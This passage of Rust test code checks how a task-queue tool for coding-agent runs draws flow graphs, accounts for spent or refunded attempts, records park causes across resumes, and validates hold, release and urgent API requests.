15987            assert!(f.edges.iter().all(|e| e.from != "chat"));
15988        }
15989    }
15990
15991    const FA: &str = "20260902-140501-aaaa";
15992    const FB: &str = "20260902-140502-bbbb";
15993
15994    #[test]
15995    fn flow_follows_blocked_retry_merged_to_done() {
15996        let mut t = flow_task(&[FA, FB]);
15997        t.status = TaskStatus::Done;
15998        let f = flow_for(
15999            &t,
16000            &[
16001                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16002                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16003            ],
16004        );
16005        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16006        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16007        assert_eq!(f.edges.len(), 3);
16008        assert_eq!(f.edges[0].label, "claimed");
16009        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16010        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16011        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16012        assert_eq!(
16013            f.nodes[2].href.as_deref(),
16014            Some("#/runs/20260902-140502-bbbb")
16015        );
16016        assert!(f.nodes[2].decided);
16017    }
16018
16019    #[test]
16020    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16021        let quota = || {
16022            flow_run(RunStatus::Stalled, |s| {
16023                s.quota.push(crate::run::QuotaLoss {
16024                    seat: "judge-1".to_owned(),
16025                    node: "judge".to_owned(),
16026                    at: Timestamp::now(),
16027                    reset: None,
16028                })
16029            })
16030        };
16031        let mut t = flow_task(&[FA, FA]);
16032        t.status = TaskStatus::Queued;
16033        let f = flow_for(&t, &[(FA, Some(quota()))]);
16034        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16035        assert_eq!(f.nodes[1].note, Some("interrupted"));
16036        assert_eq!(
16037            f.nodes[1].status, None,
16038            "no outcome copied onto an earlier pass"
16039        );
16040        assert_eq!(
16041            f.edges[1].attempt,
16042            AttemptCost::Unknown,
16043            "a resume does not prove the earlier pass was refunded"
16044        );
16045        assert!(f.edges[1].label.contains("resume the same run"));
16046        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16047        assert_eq!(
16048            f.edges[2].label,
16049            "stalled after a resume, refund unknown \u{2192} queued"
16050        );
16051        assert!(!f.nodes[2].decided, "a stall is not a decision");
16052        assert_eq!(f.nodes[2].note, Some("no verdict"));
16053    }
16054
16055    #[test]
16056    fn flow_single_pass_quota_stall_is_refunded() {
16057        let t = flow_task(&[FA]);
16058        let f = flow_for(
16059            &t,
16060            &[(
16061                FA,
16062                Some(flow_run(RunStatus::Stalled, |s| {
16063                    s.quota.push(crate::run::QuotaLoss {
16064                        seat: "judge-1".to_owned(),
16065                        node: "judge".to_owned(),
16066                        at: Timestamp::now(),
16067                        reset: None,
16068                    })
16069                })),
16070            )],
16071        );
16072        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16073    }
16074
16075    #[test]
16076    fn flow_parked_refunds_and_stall_without_quota_spends() {
16077        let mut t = flow_task(&[FA]);
16078        t.status = TaskStatus::Queued;
16079        let f = flow_for(
16080            &t,
16081            &[(
16082                FA,
16083                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16084            )],
16085        );
16086        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16087        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16088        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16089        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16090        assert!(!f.nodes[1].decided);
16091    }
16092
16093    #[test]
16094    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16095        let t = flow_task(&[FA, FB]);
16096        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16097        assert_eq!(f.nodes[1].note, Some("unreadable"));
16098        assert!(!f.nodes[1].readable);
16099        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16100        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16101    }
16102
16103    #[test]
16104    fn flow_names_the_branch_of_a_review_only_run() {
16105        let t = flow_task(&[FA]);
16106        let f = flow_for(
16107            &t,
16108            &[(
16109                FA,
16110                Some(flow_run(RunStatus::Merged, |s| {
16111                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16112                })),
16113            )],
16114        );
16115        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16116        assert_eq!(
16117            f.nodes[1].detail.as_deref(),
16118            Some("review-only run of branch magi/x/A")
16119        );
16120    }
16121
16122    #[test]
16123    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16124        let mut t = flow_task(&[FA]);
16125        t.status = TaskStatus::Held;
16126        let pr = crate::run::PrRecord {
16127            url: "https://example.test/pr/1".to_owned(),
16128            number: 1,
16129            state: "open".to_owned(),
16130            checks: "green".to_owned(),
16131            round: 0,
16132            rounds: 3,
16133            red_at_merge: Vec::new(),
16134        };
16135        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16136        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16137        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16138        t.status = TaskStatus::Done;
16139        let f = flow_for(&t, &[(FA, Some(blocked))]);
16140        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16141    }
16142
16143    #[test]
16144    fn flow_with_no_runs_goes_from_queued_to_queued() {
16145        let t = flow_task(&[]);
16146        let f = flow_for(&t, &[]);
16147        assert_eq!(f.nodes.len(), 2);
16148        assert_eq!(f.edges.len(), 1);
16149        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16150        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16151    }
16152
16153    /// A run parked mid-flight keeps a non-terminal status; the page must
16154    /// still say why it stopped and that the attempt came back.
16155    #[test]
16156    fn a_parked_non_terminal_run_is_explained_as_parked() {
16157        let mut s = RunState::new(
16158            PathBuf::from("/repo/magi"),
16159            "main".to_owned(),
16160            "0123456789abcdef".to_owned(),
16161            "Do it".to_owned(),
16162            Config::default(),
16163        );
16164        s.status = RunStatus::Implementing;
16165        s.parked = true;
16166        let task = Task::new(
16167            "t".to_owned(),
16168            "Do it".to_owned(),
16169            PathBuf::from("/repo/magi"),
16170            Source::Human,
16171        );
16172        let v = task_run_view(
16173            "20260902-140501-aaaa",
16174            Some(&s),
16175            RunSlot {
16176                n: 1,
16177                resumed: false,
16178                resumed_later: None,
16179                prior: None,
16180                last: true,
16181                ..RunSlot::default()
16182            },
16183            &task,
16184        );
16185        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16186    }
16187
16188    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16189        let mut s = flow_run(RunStatus::Implementing, edit);
16190        s.parked = false;
16191        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16192        task_run_view(
16193            "20260902-140501-aaaa",
16194            Some(&s),
16195            RunSlot {
16196                n: 1,
16197                resumed: false,
16198                resumed_later: Some(2),
16199                prior: None,
16200                last: false,
16201                ..RunSlot::default()
16202            },
16203            &task,
16204        )
16205    }
16206
16207    #[test]
16208    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16209        let v = earlier_pass_view(|_| {});
16210        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16211        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16212        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16213        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16214        assert_eq!(v.exit, RunExit::Interrupted);
16215        assert_eq!(v.attempt, AttemptCost::Unknown);
16216    }
16217
16218    #[test]
16219    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16220        let v = earlier_pass_view(|s| {
16221            s.quota.push(crate::run::QuotaLoss {
16222                seat: "judge-1".to_owned(),
16223                node: "judge".to_owned(),
16224                at: Timestamp::now(),
16225                reset: None,
16226            });
16227        });
16228        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16229        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16230        assert_eq!(v.attempt, AttemptCost::Unknown);
16231    }
16232
16233    #[test]
16234    fn the_current_pass_states_its_recorded_cause_and_cost() {
16235        let slot = || RunSlot {
16236            n: 1,
16237            resumed: false,
16238            resumed_later: None,
16239            prior: None,
16240            last: true,
16241            ..RunSlot::default()
16242        };
16243        let task = flow_task(&["20260902-140501-aaaa"]);
16244        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16245        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16246        assert_eq!(
16247            (v.exit, v.attempt),
16248            (RunExit::Parked, AttemptCost::Refunded)
16249        );
16250        let spent = flow_run(RunStatus::Blocked, |_| {});
16251        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16252        assert_eq!(v.attempt, AttemptCost::Spent);
16253        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16254    }
16255
16256    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16257        crate::run::RunPass {
16258            index,
16259            started_at: Timestamp::now(),
16260            resumed: index > 0,
16261            ended_at: end.as_ref().map(|_| Timestamp::now()),
16262            end,
16263            task_entry: true,
16264        }
16265    }
16266
16267    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16268        Some(crate::run::PassEnd::Parked { cause })
16269    }
16270
16271    fn upgrade_cause() -> crate::run::ParkCause {
16272        crate::run::ParkCause::Upgrade {
16273            from: "0.121.0".to_owned(),
16274            to: Some("0.121.1".to_owned()),
16275        }
16276    }
16277
16278    fn settled_pass(
16279        run: &str,
16280        index: usize,
16281        cost: crate::queue::PassCost,
16282    ) -> crate::queue::TaskPass {
16283        crate::queue::TaskPass {
16284            run: run.to_owned(),
16285            pass_index: index,
16286            started_at: None,
16287            cost,
16288            attempts_after: 1,
16289            settled_at: Timestamp::now(),
16290            parked: None,
16291        }
16292    }
16293
16294    const RUN_X: &str = "20261011-223708-4334";
16295
16296    #[test]
16297    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16298        use crate::queue::PassCost;
16299        let run = flow_run(RunStatus::Implementing, |s| {
16300            s.passes = vec![
16301                recorded_pass(0, parked(upgrade_cause())),
16302                recorded_pass(1, None),
16303            ];
16304        });
16305        let mut task = flow_task(&[RUN_X, RUN_X]);
16306        task.attempts = 1;
16307        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16308        let h = task_history(&task, |_| Some(run.clone()));
16309        assert_eq!(h.len(), 2);
16310        assert_eq!(h[0].kind, "competition");
16311        assert_eq!(h[1].kind, "resume");
16312        assert_eq!(
16313            (h[0].exit, h[0].attempt),
16314            (RunExit::Parked, AttemptCost::Refunded)
16315        );
16316        assert!(
16317            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16318            "{}",
16319            h[0].outcome
16320        );
16321        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16322        assert!(
16323            h[0].outcome.contains("pass #2 resumed the same run"),
16324            "{}",
16325            h[0].outcome
16326        );
16327        assert!(
16328            h[0].outcome.contains("pass 1 of 2 over run"),
16329            "{}",
16330            h[0].outcome
16331        );
16332        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16333        assert_eq!(
16334            h[0].exit_label,
16335            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16336        );
16337        let f = task_flow(&task, &h, 2, None);
16338        // Two passes of one run, one of two attempts consumed.
16339        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16340        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16341        assert!(
16342            f.edges[1].label.contains("upgrade 0.121.0"),
16343            "{}",
16344            f.edges[1].label
16345        );
16346        assert!(
16347            f.edges[1].label.contains("resume the same run"),
16348            "{}",
16349            f.edges[1].label
16350        );
16351        assert_eq!(f.nodes[1].note, Some("parked"));
16352    }
16353
16354    #[test]
16355    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16356        let mut a = flow_run(RunStatus::Implementing, |s| {
16357            s.passes = vec![
16358                recorded_pass(0, parked(upgrade_cause())),
16359                recorded_pass(1, None),
16360            ];
16361        });
16362        let mut b = flow_run(RunStatus::Failed, |s| {
16363            s.passes = vec![recorded_pass(0, None)];
16364        });
16365        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16366        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16367        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16368        let mut task = flow_task(&[]);
16369        task.start("a".into());
16370        task.start("b".into());
16371        task.start("a".into());
16372        assert_eq!(task.runs, ["b", "a"]);
16373        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16374        let h = task_history(&task, |id| {
16375            Some(if id == "a" { a.clone() } else { b.clone() })
16376        });
16377        assert_eq!(
16378            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16379            ["a", "b", "a"]
16380        );
16381        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16382        assert!(h[0].outcome.contains("upgrade"));
16383        assert_eq!(h[2].kind, "resume");
16384        assert!(h[2].pass.is_some());
16385        // The old repeated-id format must show the same recorded passes.
16386        task.runs = vec!["a".into(), "b".into(), "a".into()];
16387        let old = task_history(&task, |id| {
16388            Some(if id == "a" { a.clone() } else { b.clone() })
16389        });
16390        assert_eq!(
16391            old.iter()
16392                .map(|v| (&v.id, &v.kind, v.attempt))
16393                .collect::<Vec<_>>(),
16394            h.iter()
16395                .map(|v| (&v.id, &v.kind, v.attempt))
16396                .collect::<Vec<_>>()
16397        );
16398    }
16399
16400    #[test]
16401    fn an_upgrade_whose_target_was_not_known_says_so() {
16402        let run = flow_run(RunStatus::Implementing, |s| {
16403            s.passes = vec![
16404                recorded_pass(
16405                    0,
16406                    parked(crate::run::ParkCause::Upgrade {
16407                        from: "0.121.0".to_owned(),
16408                        to: None,
16409                    }),
16410                ),
16411                recorded_pass(1, None),
16412            ];
16413        });
16414        let task = flow_task(&[RUN_X, RUN_X]);
16415        let h = task_history(&task, |_| Some(run.clone()));
16416        assert!(
16417            h[0].outcome.contains("upgrade from 0.121.0"),
16418            "{}",
16419            h[0].outcome
16420        );
16421        // No settle record: the refund is not claimed.
16422        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16423    }
16424
16425    #[test]
16426    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16427        use crate::queue::PassCost;
16428        use crate::run::ParkCause;
16429        let run = flow_run(RunStatus::Implementing, |s| {
16430            s.passes = vec![
16431                recorded_pass(0, parked(upgrade_cause())),
16432                recorded_pass(
16433                    1,
16434                    parked(ParkCause::Interrupt {
16435                        reason: "task a1b2 asked to run first".to_owned(),
16436                    }),
16437                ),
16438                recorded_pass(2, parked(ParkCause::Operator)),
16439                recorded_pass(3, None),
16440            ];
16441        });
16442        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16443        task.attempts = 1;
16444        task.passes = (0..3)
16445            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16446            .collect();
16447        let h = task_history(&task, |_| Some(run.clone()));
16448        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16449        assert!(
16450            h[1].outcome.contains("task a1b2 asked to run first"),
16451            "{}",
16452            h[1].outcome
16453        );
16454        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16455        assert!(
16456            h[2].outcome.contains("operator asked the loop to park"),
16457            "{}",
16458            h[2].outcome
16459        );
16460        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16461        let f = task_flow(&task, &h, 2, None);
16462        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16463    }
16464
16465    #[test]
16466    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16467        let run = flow_run(RunStatus::Implementing, |s| {
16468            s.passes = vec![
16469                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16470                recorded_pass(1, None),
16471            ];
16472        });
16473        let task = flow_task(&[RUN_X, RUN_X]);
16474        let h = task_history(&task, |_| Some(run.clone()));
16475        assert_eq!(h[0].exit, RunExit::Interrupted);
16476        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16477        assert!(
16478            h[0].outcome.contains("without recording why"),
16479            "{}",
16480            h[0].outcome
16481        );
16482        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16483        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16484    }
16485
16486    #[test]
16487    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16488        use crate::queue::PassCost;
16489        // Three entries, but the run only began keeping passes at the last
16490        // two: the first is legacy and must not be given a cause.
16491        let run = flow_run(RunStatus::Implementing, |s| {
16492            s.passes = vec![
16493                recorded_pass(0, parked(upgrade_cause())),
16494                recorded_pass(1, None),
16495            ];
16496        });
16497        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16498        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16499        let h = task_history(&task, |_| Some(run.clone()));
16500        assert!(h[0].pass.is_none());
16501        assert_eq!(h[0].exit, RunExit::Interrupted);
16502        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16503        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16504        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16505        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16506        // A run with no passes at all is entirely unknown.
16507        let legacy = flow_run(RunStatus::Implementing, |_| {});
16508        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16509        assert!(h.iter().all(|v| v.pass.is_none()));
16510        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16511    }
16512
16513    #[test]
16514    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16515        use crate::queue::PassCost;
16516        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16517        // task. The two entries are passes 0 and 2.
16518        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16519        web.task_entry = false;
16520        let run = flow_run(RunStatus::Implementing, |s| {
16521            s.passes = vec![
16522                recorded_pass(0, parked(upgrade_cause())),
16523                web.clone(),
16524                recorded_pass(2, None),
16525            ];
16526        });
16527        let mut task = flow_task(&[RUN_X, RUN_X]);
16528        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16529        let h = task_history(&task, |_| Some(run.clone()));
16530        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16531        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16532
16533        // Legacy first entry, then a web resume that parked for an upgrade,
16534        // then the daemon's pass: the legacy entry must stay unknown.
16535        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16536        web0.task_entry = false;
16537        let run = flow_run(RunStatus::Implementing, |s| {
16538            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16539        });
16540        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16541        assert!(h[0].pass.is_none());
16542        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16543        assert!(h[1].pass.is_some());
16544    }
16545
16546    #[tokio::test]
16547    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16548        let dir = tempfile::tempdir().unwrap();
16549        let queue = Queue::at(dir.path().join("queue"));
16550        let ui = Arc::new(Ui::new(
16551            queue.clone(),
16552            Questions::at(dir.path().join("questions")),
16553            Talks::at(dir.path().join("talks")),
16554            dir.path().join("runs"),
16555            dir.path().to_path_buf(),
16556            dir.path().to_path_buf(),
16557        ));
16558        let mut t = Task::new(
16559            "recover".into(),
16560            "Inspect".into(),
16561            PathBuf::from("."),
16562            Source::Human,
16563        );
16564        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16565        t.start("run-A".into());
16566        t.release_operator("choice", Some("resume-question"));
16567        t.resume_override = Some(crate::queue::OperatorResume {
16568            question_id: "resume-question".into(),
16569            at: jiff::Timestamp::now(),
16570            conductor_rehold: None,
16571            forced: true,
16572            pinned_run: Some("run-A".into()),
16573        });
16574        t.hold_machine(Some("inspection pending".into()));
16575        t.edit("recover".into(), "Reuse approved PR head".into())
16576            .unwrap();
16577        queue.put(&mut t).unwrap();
16578        let mut cli = t.clone();
16579        cli.release_operator("cli", None);
16580        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16581        let reloaded = queue.get(&t.id).unwrap();
16582        assert_eq!(reply.task.status, TaskStatus::Queued);
16583        assert!(reloaded.resume_override.is_none());
16584        assert_eq!(reloaded.answers, t.answers);
16585        let mut web = reloaded.resumption.unwrap();
16586        let cli = cli.resumption.unwrap();
16587        assert_eq!(web.source, "web");
16588        web.source = cli.source.clone();
16589        web.at = cli.at;
16590        assert_eq!(web, cli);
16591    }
16592
16593    #[tokio::test]
16594    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16595        let f = Fixture::start().await;
16596        let queue = f.queue();
16597        let mut task = Task::new(
16598            "spent".to_owned(),
16599            "Try again".to_owned(),
16600            PathBuf::from("/repo/magi"),
16601            Source::Human,
16602        );
16603        task.start("20260902-140502-bbbb".to_owned());
16604        task.fail("agent gave up", 9);
16605        queue.put(&mut task).expect("file the task");
16606
16607        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16608        assert_eq!(held.status, 200);
16609        assert_eq!(held.json()["status_str"], "held");
16610
16611        let released = f
16612            .post(&format!("/api/queue/{}/release", task.id), None)
16613            .await;
16614        assert_eq!(released.status, 200);
16615        assert_eq!(released.json()["status_str"], "queued");
16616        assert_eq!(released.json()["resumption"]["source"], "web");
16617        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16618        let mut cli = task.clone();
16619        cli.release_operator("cli", None);
16620        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16621        let cli = cli.resumption.unwrap();
16622        assert_eq!(web.instruction, cli.instruction);
16623        assert_eq!(web.answers_through, cli.answers_through);
16624        assert_eq!(web.runs_through, cli.runs_through);
16625        assert_eq!(web.cleared_reason, cli.cleared_reason);
16626        assert_eq!(
16627            released.json()["attempts"],
16628            0,
16629            "release is a real second chance, not an instant re-hold"
16630        );
16631        assert_eq!(
16632            queue.get(&task.id).expect("reload").status,
16633            TaskStatus::Queued,
16634            "the change is on disk, not only in the reply"
16635        );
16636        assert!(
16637            !f.home
16638                .path()
16639                .join("queue")
16640                .join(format!("{}.lock", task.id))
16641                .exists(),
16642            "the claim the mutation took is released again"
16643        );
16644    }
16645
16646    #[tokio::test]
16647    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16648        let f = Fixture::start().await;
16649        let queue = f.queue();
16650        let mut task = Task::new(
16651            "busy".to_owned(),
16652            "Running right now".to_owned(),
16653            PathBuf::from("/repo/magi"),
16654            Source::Human,
16655        );
16656        queue.put(&mut task).expect("file the task");
16657        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16658
16659        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16660
16661        assert_eq!(res.status, 409);
16662        assert_eq!(
16663            queue.get(&task.id).expect("reload").status,
16664            TaskStatus::Queued,
16665            "the refused hold changed nothing"
16666        );
16667    }
16668
16669    #[tokio::test]
16670    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16671        let f = Fixture::start().await;
16672        let queue = f.queue();
16673        let mut task = Task::new(
16674            "waiting on the migration".to_owned(),
16675            "Do the thing".to_owned(),
16676            PathBuf::from("/repo/magi"),
16677            Source::Human,
16678        );
16679        queue.put(&mut task).expect("file the task");
16680
16681        let held = f
16682            .post(
16683                &format!("/api/queue/{}/hold", task.id),
16684                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16685            )
16686            .await;
16687        assert_eq!(held.status, 200, "{}", held.body);
16688        assert_eq!(held.json()["status_str"], "held");
16689        assert_eq!(
16690            held.json()["hold_reason"],
16691            "waiting for 20260101-000000-aaaa to land"
16692        );
16693
16694        let listed = f.get("/api/queue").await.json();
16695        assert_eq!(
16696            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16697            "the card reads the reason off the same list route"
16698        );
16699
16700        // A hold with no body at all must keep working - most holds have no
16701        // reason to give.
16702        let mut plain = Task::new(
16703            "no reason given".to_owned(),
16704            "Do another thing".to_owned(),
16705            PathBuf::from("/repo/magi"),
16706            Source::Human,
16707        );
16708        queue.put(&mut plain).expect("file the task");
16709        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16710        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16711        assert!(held_plain.json()["hold_reason"].is_null());
16712
16713        let released = f
16714            .post(&format!("/api/queue/{}/release", task.id), None)
16715            .await;
16716        assert_eq!(released.status, 200);
16717        assert!(
16718            released.json()["hold_reason"].is_null(),
16719            "a release must clear the reason so the next hold does not inherit it"
16720        );
16721    }
16722
16723    #[test]
16724    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16725        for urgent in [true, false] {
16726            let body: UrgentBody =
16727                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16728            assert_eq!(body.urgent, urgent);
16729        }
16730        for input in [
16731            r#"{}"#,
16732            r#"{"urgent":null}"#,
16733            r#"{"urgent":"true"}"#,
16734            r#"{"urgent":1}"#,
16735            r#"{"urgent":true,"extra":false}"#,
16736        ] {
16737            assert!(
16738                serde_json::from_str::<UrgentBody>(input).is_err(),
16739                "{input}"
16740            );
16741        }
16742    }
16743
16744    #[tokio::test]
16745    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16746        let home = TempDir::new().unwrap();
16747        let q = Queue::at(home.path().join("queue"));
16748        let ui = Arc::new(Ui::new(
16749            q.clone(),
16750            Questions::at(home.path().join("questions")),
16751            Talks::at(home.path().join("talks")),
16752            home.path().join("runs"),
16753            home.path().into(),
16754            home.path().into(),
16755        ));
16756        let mut task = Task::new(
16757            "urgent handler".into(),
16758            "keep".into(),
16759            home.path().into(),
16760            Source::Human,
16761        );
16762        for status in [TaskStatus::Queued, TaskStatus::Held] {
16763            task.status = status;
16764            q.put(&mut task).unwrap();
16765            for urgent in [true, true, false, false] {
16766                let saved = queue_urgent(
16767                    State(Arc::clone(&ui)),
16768                    Path(task.short().into()),
16769                    Ok(Json(UrgentBody { urgent })),
16770                )
16771                .await
16772                .unwrap();
16773                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16774                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16775            }
16776        }
16777        task.status = TaskStatus::Queued;
16778        q.put(&mut task).unwrap();
16779        let claim = q.claim(&task.id).unwrap();
16780        let error = queue_urgent(
16781            State(Arc::clone(&ui)),
16782            Path(task.id.clone()),
16783            Ok(Json(UrgentBody { urgent: true })),
16784        )
16785        .await
16786        .unwrap_err();
16787        assert_eq!(error.status, StatusCode::CONFLICT);
16788        assert!(error.message.contains("released"));
16789        drop(claim);
16790        for status in [
16791            TaskStatus::Running,
16792            TaskStatus::Done,
16793            TaskStatus::Failed,
16794            TaskStatus::Blocked,
16795            TaskStatus::Parked,
16796        ] {
16797            task.status = status;
16798            q.put(&mut task).unwrap();
16799            let error = queue_urgent(
16800                State(Arc::clone(&ui)),
16801                Path(task.id.clone()),
16802                Ok(Json(UrgentBody { urgent: false })),
16803            )
16804            .await
16805            .unwrap_err();
16806            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16807            assert!(error.message.contains(status.as_str()));
16808        }
16809    }
16810
16811    #[tokio::test]
16812    async fn urgent_api_updates_preserves_and_validates_tasks() {
16813        let f = Fixture::start().await;
16814        let q = f.queue();
16815        let mut t = Task::new(
16816            "urgent API".into(),
16817            "unchanged".into(),
16818            PathBuf::from("/repo/magi"),
16819            Source::Human,
16820        );
16821        t.attempts = 2;
16822        t.priority = 9;
16823        t.interrupt = true;
16824        t.hold_reason = Some("waiting for approval".into());
16825        for status in [TaskStatus::Queued, TaskStatus::Held] {
16826            t.status = status;
16827            q.put(&mut t).unwrap();
16828            for urgent in [true, true, false, false] {
16829                let response = f
16830                    .post(
16831                        &format!("/api/queue/{}/urgent", t.short()),
16832                        Some(&format!("{{\"urgent\":{urgent}}}")),
16833                    )
16834                    .await;
16835                assert_eq!(response.status, 200, "{}", response.body);
16836                assert_eq!(response.json()["urgent"], urgent);
16837                let saved = q.get(&t.id).unwrap();
16838                let mut before = serde_json::to_value(&t).unwrap();
16839                let mut after = serde_json::to_value(saved).unwrap();
16840                before["urgent"] = urgent.into();
16841                before.as_object_mut().unwrap().remove("updated_at");
16842                after.as_object_mut().unwrap().remove("updated_at");
16843                assert_eq!(after, before);
16844            }
16845        }
16846        let route = format!("/api/queue/{}/urgent", t.id);
16847        for body in [
16848            r#"{}"#,
16849            r#"{"urgent":null}"#,
16850            r#"{"urgent":"true"}"#,
16851            r#"{"urgent":1}"#,
16852            r#"{"urgent":true,"extra":false}"#,
16853            "{",
16854        ] {
16855            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16856        }
16857        t.status = TaskStatus::Queued;
16858        q.put(&mut t).unwrap();
16859        let claim = q.claim(&t.id).unwrap();
16860        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16861        assert_eq!(response.status, 409, "{}", response.body);
16862        assert!(!q.get(&t.id).unwrap().urgent);
